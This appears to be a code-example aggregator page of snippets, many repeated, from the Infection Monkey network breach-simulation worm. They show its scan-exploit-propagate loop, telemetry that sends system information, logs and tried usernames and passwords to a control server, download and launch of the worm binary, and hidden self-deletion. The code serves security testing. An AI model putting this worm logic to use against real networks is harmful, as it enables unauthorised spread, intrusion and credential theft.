Esempio n. 1
0
    def cleanup(self):
        LOG.info("Monkey cleanup started")
        self._keep_running = False

        # Signal the server (before closing the tunnel)
        ControlClient.send_telemetry("state", {'done': True})

        # Close tunnel
        tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
        if tunnel_address:
            LOG.info("Quitting tunnel %s", tunnel_address)
            tunnel.quit_tunnel(tunnel_address)

        firewall.close()

        self._singleton.unlock()

        if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
            try:
                if "win32" == sys.platform:
                    from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
                    startupinfo = subprocess.STARTUPINFO()
                    startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
                    startupinfo.wShowWindow = SW_HIDE
                    subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable},
                                     stdin=None, stdout=None, stderr=None,
                                     close_fds=True, startupinfo=startupinfo)
                else:
                    os.remove(sys.executable)
            except Exception, exc:
                LOG.error("Exception in self delete: %s", exc)
Esempio n. 2
0
    def cleanup(self):
        LOG.info("Monkey cleanup started")
        self._keep_running = False

        # Signal the server (before closing the tunnel)
        ControlClient.send_telemetry("state", {'done': True})

        # Close tunnel
        tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
        if tunnel_address:
            LOG.info("Quitting tunnel %s", tunnel_address)
            tunnel.quit_tunnel(tunnel_address)

        firewall.close()

        self._singleton.unlock()

        if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
            try:
                if "win32" == sys.platform:
                    from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
                    startupinfo = subprocess.STARTUPINFO()
                    startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
                    startupinfo.wShowWindow = SW_HIDE
                    subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable},
                                     stdin=None, stdout=None, stderr=None,
                                     close_fds=True, startupinfo=startupinfo)
                else:
                    os.remove(sys.executable)
            except Exception as exc:
                LOG.error("Exception in self delete: %s", exc)

        LOG.info("Monkey is shutting down")
Esempio n. 3
0
    def send_log(self):
        monkey_log_path = utils.get_monkey_log_path()
        if os.path.exists(monkey_log_path):
            with open(monkey_log_path, 'r') as f:
                log = f.read()
        else:
            log = ''

        ControlClient.send_log(log)
Esempio n. 4
0
    def send_log(self):
        monkey_log_path = utils.get_monkey_log_path()
        if os.path.exists(monkey_log_path):
            with open(monkey_log_path, 'r') as f:
                log = f.read()
        else:
            log = ''

        ControlClient.send_log(log)
Esempio n. 5
0
 def report_vuln_shellshock(host, url):
     from control import ControlClient
     ControlClient.send_telemetry(
         'exploit', {
             'vulnerable': True,
             'machine': host.__dict__,
             'exploiter': ShellShockExploiter.__name__,
             'url': url
         })
Esempio n. 6
0
 def send_exploit_telemetry(self, result):
     from control import ControlClient
     ControlClient.send_telemetry(
         'exploit', {
             'result': result,
             'machine': self.host.__dict__,
             'exploiter': self.__class__.__name__,
             'info': self._exploit_info,
             'attempts': self._exploit_attempts
         })
Esempio n. 7
0
def report_failed_login(exploiter, machine, user, password):
    from control import ControlClient
    ControlClient.send_telemetry(
        'exploit', {
            'result': False,
            'machine': machine.__dict__,
            'exploiter': exploiter.__class__.__name__,
            'user': user,
            'password': password
        })
Esempio n. 8
0
    def upgrade(opts):
        try:
            monkey_64_path = ControlClient.download_monkey_exe_by_os(
                True, False)
            with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
                with open(WormConfiguration.dropper_target_path_win_64,
                          'wb') as written_monkey_file:
                    shutil.copyfileobj(downloaded_monkey_file,
                                       written_monkey_file)
        except (IOError, AttributeError):
            LOG.error("Failed to download the Monkey to the target path.")
            return

        monkey_options = build_monkey_commandline_explicitly(
            opts.parent, opts.tunnel, opts.server, opts.depth)

        monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
            'monkey_path': WormConfiguration.dropper_target_path_win_64
        } + monkey_options

        monkey_process = subprocess.Popen(monkey_cmdline,
                                          shell=True,
                                          stdin=None,
                                          stdout=None,
                                          stderr=None,
                                          close_fds=True,
                                          creationflags=DETACHED_PROCESS)

        LOG.info(
            "Executed 64bit monkey process (PID=%d) with command line: %s",
            monkey_process.pid, monkey_cmdline)

        time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
        if monkey_process.poll() is not None:
            LOG.error("Seems like monkey died too soon")
Esempio n. 9
0
    def cleanup(self):
        LOG.info("Monkey cleanup started")
        self._keep_running = False

        if self._upgrading_to_64:
            InfectionMonkey.close_tunnel()
            firewall.close()
        else:
            ControlClient.send_telemetry("state", {'done': True})  # Signal the server (before closing the tunnel)
            InfectionMonkey.close_tunnel()
            firewall.close()
            if WormConfiguration.send_log_to_server:
                self.send_log()
            self._singleton.unlock()

        InfectionMonkey.self_delete()
        LOG.info("Monkey is shutting down")
Esempio n. 10
0
    def cleanup(self):
        LOG.info("Monkey cleanup started")
        self._keep_running = False

        if self._upgrading_to_64:
            InfectionMonkey.close_tunnel()
            firewall.close()
        else:
            ControlClient.send_telemetry(
                "state", {'done': True
                          })  # Signal the server (before closing the tunnel)
            InfectionMonkey.close_tunnel()
            firewall.close()
            if WormConfiguration.send_log_to_server:
                self.send_log()
            self._singleton.unlock()

        InfectionMonkey.self_delete()
        LOG.info("Monkey is shutting down")
Esempio n. 11
0
def get_target_monkey(host):
    from control import ControlClient
    import platform
    import sys

    if host.monkey_exe:
        return host.monkey_exe

    if not host.os.get('type'):
        return None

    monkey_path = ControlClient.download_monkey_exe(host)

    if host.os.get('machine') and monkey_path:
        host.monkey_exe = monkey_path

    if not monkey_path:
        if host.os.get('type') == platform.system().lower():
            # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
            if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
                            host.os.get('machine', '').lower() == platform.machine().lower():
                monkey_path = sys.executable

    return monkey_path
Esempio n. 12
0
def get_target_monkey(host):
    from control import ControlClient
    import platform
    import sys

    if host.monkey_exe:
        return host.monkey_exe

    if not host.os.get('type'):
        return None

    monkey_path = ControlClient.download_monkey_exe(host)

    if host.os.get('machine') and monkey_path:
        host.monkey_exe = monkey_path

    if not monkey_path:
        if host.os.get('type') == platform.system().lower():
            # if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
            if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
                            host.os.get('machine', '').lower() == platform.machine().lower():
                monkey_path = sys.executable

    return monkey_path
Esempio n. 13
0
    def start(self):
        LOG.info("Monkey is running...")

        if firewall.is_enabled():
            firewall.add_firewall_rule()
        ControlClient.wakeup(parent=self._parent,
                             default_tunnel=self._default_tunnel)
        ControlClient.load_control_config()

        if not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")
            return

        monkey_tunnel = ControlClient.create_control_tunnel()
        if monkey_tunnel:
            monkey_tunnel.start()

        last_exploit_time = None

        ControlClient.send_telemetry("state", {'done': False})

        self._default_server = WormConfiguration.current_server
        LOG.debug("default server: %s" % self._default_server)
        ControlClient.send_telemetry("tunnel",
                                     ControlClient.proxies.get('https'))

        if WormConfiguration.collect_system_info:
            LOG.debug("Calling system info collection")
            system_info_collector = SystemInfoCollector()
            system_info = system_info_collector.get_info()
            ControlClient.send_telemetry("system_info_collection", system_info)

        if 0 == WormConfiguration.depth:
            LOG.debug("Reached max depth, shutting down")
            ControlClient.send_telemetry("trace",
                                         "Reached max depth, shutting down")
            return
        else:
            LOG.debug("Running with depth: %d" % WormConfiguration.depth)

        for _ in xrange(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            self._network.initialize()

            self._exploiters = [
                exploiter()
                for exploiter in WormConfiguration.exploiter_classes
            ]

            self._fingerprint = [
                fingerprint()
                for fingerprint in WormConfiguration.finger_classes
            ]

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(
                WormConfiguration.scanner_class,
                max_find=WormConfiguration.victims_max_find,
                stop_callback=ControlClient.check_for_stop)
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    LOG.info(
                        "Trying to get OS fingerprint from %r with module %s",
                        machine, finger.__class__.__name__)
                    finger.get_host_fingerprint(machine)

                ControlClient.send_telemetry(
                    'scan', {
                        'machine': machine.as_dict(),
                        'scanner': WormConfiguration.scanner_class.__name__
                    })

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    LOG.debug("Skipping %r - already exploited", machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        LOG.debug(
                            "%r - exploitation failed before, trying again",
                            machine)
                    else:
                        LOG.debug("Skipping %r - exploitation failed before",
                                  machine)
                        continue

                if monkey_tunnel:
                    monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    LOG.debug("Default server: %s set to machine: %r" %
                              (self._default_server, machine))
                    machine.set_default_server(self._default_server)

                successful_exploiter = None
                for exploiter in self._exploiters:
                    if not exploiter.is_os_supported(machine):
                        LOG.info(
                            "Skipping exploiter %s host:%r, os is not supported",
                            exploiter.__class__.__name__, machine)
                        continue

                    LOG.info("Trying to exploit %r with exploiter %s...",
                             machine, exploiter.__class__.__name__)

                    try:
                        if exploiter.exploit_host(machine,
                                                  WormConfiguration.depth):
                            successful_exploiter = exploiter
                            break
                        else:
                            LOG.info("Failed exploiting %r with exploiter %s",
                                     machine, exploiter.__class__.__name__)
                            ControlClient.send_telemetry(
                                'exploit', {
                                    'result': False,
                                    'machine': machine.__dict__,
                                    'exploiter': exploiter.__class__.__name__
                                })

                    except Exception, exc:
                        LOG.error("Exception while attacking %s using %s: %s",
                                  machine, exploiter.__class__.__name__, exc)
                        continue

                if successful_exploiter:
                    self._exploited_machines.add(machine)
                    last_exploit_time = time.time()
                    ControlClient.send_telemetry(
                        'exploit', {
                            'result': True,
                            'machine': machine.__dict__,
                            'exploiter':
                            successful_exploiter.__class__.__name__
                        })

                    LOG.info("Successfully propagated to %s using %s", machine,
                             successful_exploiter.__class__.__name__)

                    # check if max-exploitation limit is reached
                    if WormConfiguration.victims_max_exploit <= len(
                            self._exploited_machines):
                        self._keep_running = False

                        LOG.info("Max exploited victims reached (%d)",
                                 WormConfiguration.victims_max_exploit)
                        break
                else:
                    self._fail_exploitation_machines.add(machine)

            if not is_empty:
                time.sleep(WormConfiguration.timeout_between_iterations)
Esempio n. 14
0
def report_failed_login(exploiter, machine, user, password):
    from control import ControlClient
    ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
                                             'exploiter': exploiter.__class__.__name__,
                                             'user': user, 'password': password})
Esempio n. 15
0
    def start(self):
        LOG.info("Monkey is running...")

        if firewall.is_enabled():
            firewall.add_firewall_rule()
        ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel)
        ControlClient.load_control_config()

        if not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")
            return

        monkey_tunnel = ControlClient.create_control_tunnel()
        if monkey_tunnel:
            monkey_tunnel.start()

        ControlClient.send_telemetry("state", {'done': False})

        self._default_server = WormConfiguration.current_server
        LOG.debug("default server: %s" % self._default_server)
        ControlClient.send_telemetry("tunnel", ControlClient.proxies.get('https'))

        if WormConfiguration.collect_system_info:
            LOG.debug("Calling system info collection")
            system_info_collector = SystemInfoCollector()
            system_info = system_info_collector.get_info()
            ControlClient.send_telemetry("system_info_collection", system_info)

        if 0 == WormConfiguration.depth:
            LOG.debug("Reached max depth, shutting down")
            ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
            return
        else:
            LOG.debug("Running with depth: %d" % WormConfiguration.depth)

        for _ in xrange(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            self._network.initialize()

            self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]

            self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
                                                         max_find=WormConfiguration.victims_max_find,
                                                         stop_callback=ControlClient.check_for_stop)
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    LOG.info("Trying to get OS fingerprint from %r with module %s",
                             machine, finger.__class__.__name__)
                    finger.get_host_fingerprint(machine)

                ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
                                                      'scanner': WormConfiguration.scanner_class.__name__})

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    LOG.debug("Skipping %r - already exploited",
                              machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        LOG.debug("%r - exploitation failed before, trying again", machine)
                    else:
                        LOG.debug("Skipping %r - exploitation failed before", machine)
                        continue

                successful_exploiter = None

                if monkey_tunnel:
                    monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
                    machine.set_default_server(self._default_server)

                for exploiter in self._exploiters:
                    if not exploiter.is_os_supported(machine):
                        LOG.info("Skipping exploiter %s host:%r, os is not supported",
                                 exploiter.__class__.__name__, machine)
                        continue

                    LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)

                    try:
                        if exploiter.exploit_host(machine, WormConfiguration.depth):
                            successful_exploiter = exploiter
                            break
                        else:
                            LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
                            ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
                                                                     'exploiter': exploiter.__class__.__name__})

                    except Exception, exc:
                        LOG.error("Exception while attacking %s using %s: %s",
                                  machine, exploiter.__class__.__name__, exc)
                        continue

                if successful_exploiter:
                    self._exploited_machines.add(machine)
                    ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
                                                             'exploiter': successful_exploiter.__class__.__name__})

                    LOG.info("Successfully propagated to %s using %s",
                             machine, successful_exploiter.__class__.__name__)

                    # check if max-exploitation limit is reached
                    if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
                        self._keep_running = False

                        LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
                        break
                else:
                    self._fail_exploitation_machines.add(machine)

            if not is_empty:
                time.sleep(WormConfiguration.timeout_between_iterations)
Esempio n. 16
0
    def cleanup(self):
        LOG.info("Monkey cleanup started")
        self._keep_running = False

        self._singleton.unlock()

        tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
        if tunnel_address:
            LOG.info("Quitting tunnel %s", tunnel_address)
            tunnel.quit_tunnel(tunnel_address)

        firewall.close()

        if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
            try:
                if "win32" == sys.platform:
                    from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
                    startupinfo = subprocess.STARTUPINFO()
                    startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
                    startupinfo.wShowWindow = SW_HIDE
                    subprocess.Popen(DELAY_DELETE_CMD % {'file_path': sys.executable},
                                     stdin=None, stdout=None, stderr=None,
                                     close_fds=True, startupinfo=startupinfo)
                else:
                    os.remove(sys.executable)
            except Exception, exc:
                LOG.error("Exception in self delete: %s", exc)

        ControlClient.send_telemetry("state", {'done': True})
        LOG.info("Monkey is shutting down")
Esempio n. 17
0
        tunnel_address = ControlClient.proxies.get('https', '').replace(
            'https://', '').split(':')[0]
        if tunnel_address:
            LOG.info("Quitting tunnel %s", tunnel_address)
            tunnel.quit_tunnel(tunnel_address)

        firewall.close()

        if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find(
                'python'):
            try:
                if "win32" == sys.platform:
                    from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
                    startupinfo = subprocess.STARTUPINFO()
                    startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
                    startupinfo.wShowWindow = SW_HIDE
                    subprocess.Popen(DELAY_DELETE_CMD %
                                     {'file_path': sys.executable},
                                     stdin=None,
                                     stdout=None,
                                     stderr=None,
                                     close_fds=True,
                                     startupinfo=startupinfo)
                else:
                    os.remove(sys.executable)
            except Exception, exc:
                LOG.error("Exception in self delete: %s", exc)

        ControlClient.send_telemetry("state", {'done': True})
        LOG.info("Monkey is shutting down")
Esempio n. 18
0
    def start(self):
        LOG.info("Monkey is running...")

        if not ControlClient.find_server(default_tunnel=self._default_tunnel):
            LOG.info("Monkey couldn't find server. Going down.")
            return

        if WindowsUpgrader.should_upgrade():
            self._upgrading_to_64 = True
            self._singleton.unlock()
            LOG.info("32bit monkey running on 64bit Windows. Upgrading.")
            WindowsUpgrader.upgrade(self._opts)
            return

        ControlClient.wakeup(parent=self._parent)
        ControlClient.load_control_config()

        if not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")
            return

        if firewall.is_enabled():
            firewall.add_firewall_rule()

        monkey_tunnel = ControlClient.create_control_tunnel()
        if monkey_tunnel:
            monkey_tunnel.start()

        ControlClient.send_telemetry("state", {'done': False})

        self._default_server = WormConfiguration.current_server
        LOG.debug("default server: %s" % self._default_server)
        ControlClient.send_telemetry("tunnel", {'proxy': ControlClient.proxies.get('https')})

        if WormConfiguration.collect_system_info:
            LOG.debug("Calling system info collection")
            system_info_collector = SystemInfoCollector()
            system_info = system_info_collector.get_info()
            ControlClient.send_telemetry("system_info_collection", system_info)

        if 0 == WormConfiguration.depth:
            LOG.debug("Reached max depth, shutting down")
            ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
            return
        else:
            LOG.debug("Running with depth: %d" % WormConfiguration.depth)

        for iteration_index in xrange(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            LOG.debug("Users to try: %s" % str(WormConfiguration.exploit_user_list))
            LOG.debug("Passwords to try: %s" % str(WormConfiguration.exploit_password_list))

            self._network.initialize()

            self._exploiters = WormConfiguration.exploiter_classes

            self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
                                                         max_find=WormConfiguration.victims_max_find,
                                                         stop_callback=ControlClient.check_for_stop)
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    LOG.info("Trying to get OS fingerprint from %r with module %s",
                             machine, finger.__class__.__name__)
                    finger.get_host_fingerprint(machine)

                ControlClient.send_telemetry('scan', {'machine': machine.as_dict(),
                                                      'scanner': WormConfiguration.scanner_class.__name__})

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    LOG.debug("Skipping %r - already exploited",
                              machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        LOG.debug("%r - exploitation failed before, trying again", machine)
                    else:
                        LOG.debug("Skipping %r - exploitation failed before", machine)
                        continue

                if monkey_tunnel:
                    monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
                    machine.set_default_server(self._default_server)

                successful_exploiter = None
                for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
                    if not exploiter.is_os_supported():
                        LOG.info("Skipping exploiter %s host:%r, os is not supported",
                                 exploiter.__class__.__name__, machine)
                        continue

                    LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)

                    result = False
                    try:
                        result = exploiter.exploit_host()
                        if result:
                            successful_exploiter = exploiter
                            break
                        else:
                            LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)

                    except Exception as exc:
                        LOG.exception("Exception while attacking %s using %s: %s",
                                      machine, exploiter.__class__.__name__, exc)
                    finally:
                        exploiter.send_exploit_telemetry(result)

                if successful_exploiter:
                    self._exploited_machines.add(machine)

                    LOG.info("Successfully propagated to %s using %s",
                             machine, successful_exploiter.__class__.__name__)

                    # check if max-exploitation limit is reached
                    if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
                        self._keep_running = False

                        LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
                        break
                else:
                    self._fail_exploitation_machines.add(machine)

            if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
                time_to_sleep = WormConfiguration.timeout_between_iterations
                LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
                time.sleep(time_to_sleep)

        if self._keep_running and WormConfiguration.alive:
            LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
        elif not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")

        # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
        # connect to the tunnel
        if len(self._exploited_machines) > 0:
            time_to_sleep = WormConfiguration.keep_tunnel_open_time
            LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep)
            time.sleep(time_to_sleep)

        if monkey_tunnel:
            monkey_tunnel.stop()
            monkey_tunnel.join()
Esempio n. 19
0
    def start(self):
        LOG.info("Monkey is running...")

        if firewall.is_enabled():
            firewall.add_firewall_rule()
        ControlClient.wakeup(parent=self._parent,
                             default_tunnel=self._default_tunnel)
        ControlClient.load_control_config()

        if not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")
            return

        monkey_tunnel = ControlClient.create_control_tunnel()
        if monkey_tunnel:
            monkey_tunnel.start()

        ControlClient.send_telemetry("state", {'done': False})

        self._default_server = WormConfiguration.current_server
        LOG.debug("default server: %s" % self._default_server)
        ControlClient.send_telemetry(
            "tunnel", {'proxy': ControlClient.proxies.get('https')})

        if WormConfiguration.collect_system_info:
            LOG.debug("Calling system info collection")
            system_info_collector = SystemInfoCollector()
            system_info = system_info_collector.get_info()
            ControlClient.send_telemetry("system_info_collection", system_info)

        if 0 == WormConfiguration.depth:
            LOG.debug("Reached max depth, shutting down")
            ControlClient.send_telemetry("trace",
                                         "Reached max depth, shutting down")
            return
        else:
            LOG.debug("Running with depth: %d" % WormConfiguration.depth)

        for iteration_index in xrange(WormConfiguration.max_iterations):
            ControlClient.keepalive()
            ControlClient.load_control_config()

            LOG.debug("Users to try: %s" %
                      str(WormConfiguration.exploit_user_list))
            LOG.debug("Passwords to try: %s" %
                      str(WormConfiguration.exploit_password_list))

            self._network.initialize()

            self._exploiters = WormConfiguration.exploiter_classes

            self._fingerprint = [
                fingerprint()
                for fingerprint in WormConfiguration.finger_classes
            ]

            if not self._keep_running or not WormConfiguration.alive:
                break

            machines = self._network.get_victim_machines(
                WormConfiguration.scanner_class,
                max_find=WormConfiguration.victims_max_find,
                stop_callback=ControlClient.check_for_stop)
            is_empty = True
            for machine in machines:
                if ControlClient.check_for_stop():
                    break

                is_empty = False
                for finger in self._fingerprint:
                    LOG.info(
                        "Trying to get OS fingerprint from %r with module %s",
                        machine, finger.__class__.__name__)
                    finger.get_host_fingerprint(machine)

                ControlClient.send_telemetry(
                    'scan', {
                        'machine': machine.as_dict(),
                        'scanner': WormConfiguration.scanner_class.__name__
                    })

                # skip machines that we've already exploited
                if machine in self._exploited_machines:
                    LOG.debug("Skipping %r - already exploited", machine)
                    continue
                elif machine in self._fail_exploitation_machines:
                    if WormConfiguration.retry_failed_explotation:
                        LOG.debug(
                            "%r - exploitation failed before, trying again",
                            machine)
                    else:
                        LOG.debug("Skipping %r - exploitation failed before",
                                  machine)
                        continue

                if monkey_tunnel:
                    monkey_tunnel.set_tunnel_for_host(machine)
                if self._default_server:
                    LOG.debug("Default server: %s set to machine: %r" %
                              (self._default_server, machine))
                    machine.set_default_server(self._default_server)

                successful_exploiter = None
                for exploiter in [
                        exploiter(machine) for exploiter in self._exploiters
                ]:
                    if not exploiter.is_os_supported():
                        LOG.info(
                            "Skipping exploiter %s host:%r, os is not supported",
                            exploiter.__class__.__name__, machine)
                        continue

                    LOG.info("Trying to exploit %r with exploiter %s...",
                             machine, exploiter.__class__.__name__)

                    result = False
                    try:
                        result = exploiter.exploit_host()
                        if result:
                            successful_exploiter = exploiter
                            break
                        else:
                            LOG.info("Failed exploiting %r with exploiter %s",
                                     machine, exploiter.__class__.__name__)

                    except Exception as exc:
                        LOG.exception(
                            "Exception while attacking %s using %s: %s",
                            machine, exploiter.__class__.__name__, exc)
                    finally:
                        exploiter.send_exploit_telemetry(result)

                if successful_exploiter:
                    self._exploited_machines.add(machine)

                    LOG.info("Successfully propagated to %s using %s", machine,
                             successful_exploiter.__class__.__name__)

                    # check if max-exploitation limit is reached
                    if WormConfiguration.victims_max_exploit <= len(
                            self._exploited_machines):
                        self._keep_running = False

                        LOG.info("Max exploited victims reached (%d)",
                                 WormConfiguration.victims_max_exploit)
                        break
                else:
                    self._fail_exploitation_machines.add(machine)

            if (not is_empty) and (WormConfiguration.max_iterations >
                                   iteration_index + 1):
                time_to_sleep = WormConfiguration.timeout_between_iterations
                LOG.info(
                    "Sleeping %d seconds before next life cycle iteration",
                    time_to_sleep)
                time.sleep(time_to_sleep)

        if self._keep_running and WormConfiguration.alive:
            LOG.info("Reached max iterations (%d)",
                     WormConfiguration.max_iterations)
        elif not WormConfiguration.alive:
            LOG.info("Marked not alive from configuration")

        # if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
        # connect to the tunnel
        if len(self._exploited_machines) > 0:
            time_to_sleep = WormConfiguration.keep_tunnel_open_time
            LOG.info(
                "Sleeping %d seconds for exploited machines to connect to tunnel",
                time_to_sleep)
            time.sleep(time_to_sleep)

        if monkey_tunnel:
            monkey_tunnel.stop()
            monkey_tunnel.join()
Esempio n. 20
0
def get_target_monkey_by_os(is_windows, is_32bit):
    from control import ControlClient
    return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
Esempio n. 21
0
 def send_exploit_telemetry(self, result):
     from control import ControlClient
     ControlClient.send_telemetry(
         'exploit',
         {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__,
          'info': self._exploit_info, 'attempts': self._exploit_attempts})
Esempio n. 22
0
def get_target_monkey_by_os(is_windows, is_32bit):
    from control import ControlClient
    return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
Esempio n. 23
0
 def report_vuln_shellshock(host, url):
     from control import ControlClient
     ControlClient.send_telemetry('exploit', {'vulnerable': True, 'machine': host.__dict__,
                                              'exploiter': ShellShockExploiter.__name__,
                                              'url': url})